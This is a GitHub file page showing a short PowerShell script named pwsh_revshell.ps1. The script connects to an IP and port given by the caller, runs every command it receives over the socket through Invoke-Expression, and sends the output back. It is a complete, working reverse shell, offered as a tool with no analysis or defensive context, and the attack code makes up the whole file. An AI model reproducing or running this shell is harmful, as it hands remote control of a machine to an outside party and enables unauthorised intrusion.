-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathpwsh_revshell.ps1
More file actions
36 lines (31 loc) · 886 Bytes
/
Copy pathpwsh_revshell.ps1
File metadata and controls
36 lines (31 loc) · 886 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Param (
[Parameter(Mandatory=$true)]
[ValidateNotNullOrEmpty()]
[string]
$ip
,
[Parameter(Mandatory=$true)]
[ValidateNotNullOrEmpty()]
[int]
$port
)
$Address = [System.Net.IPAddress]::Parse($ip)
$Socket = New-Object System.Net.Sockets.TCPClient($Address, $port)
$stream = $Socket.GetStream()
$Writer = New-Object System.IO.StreamWriter($stream)
$bytes = New-Object System.Byte[] 16384 # Commands up to 16384 bytes
while (($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){
$EncodedText = New-Object System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)
$out = Invoke-Expression($data) -ErrorVariable failure | out-string
if ($failure.count -gt 0){
$out = $out + "Error: " + $failure
}
$out = $out.Trim()
$out | % {
$Writer.WriteLine($_)
$Writer.Flush()
}
}
$Stream.Close()
$Socket.Close()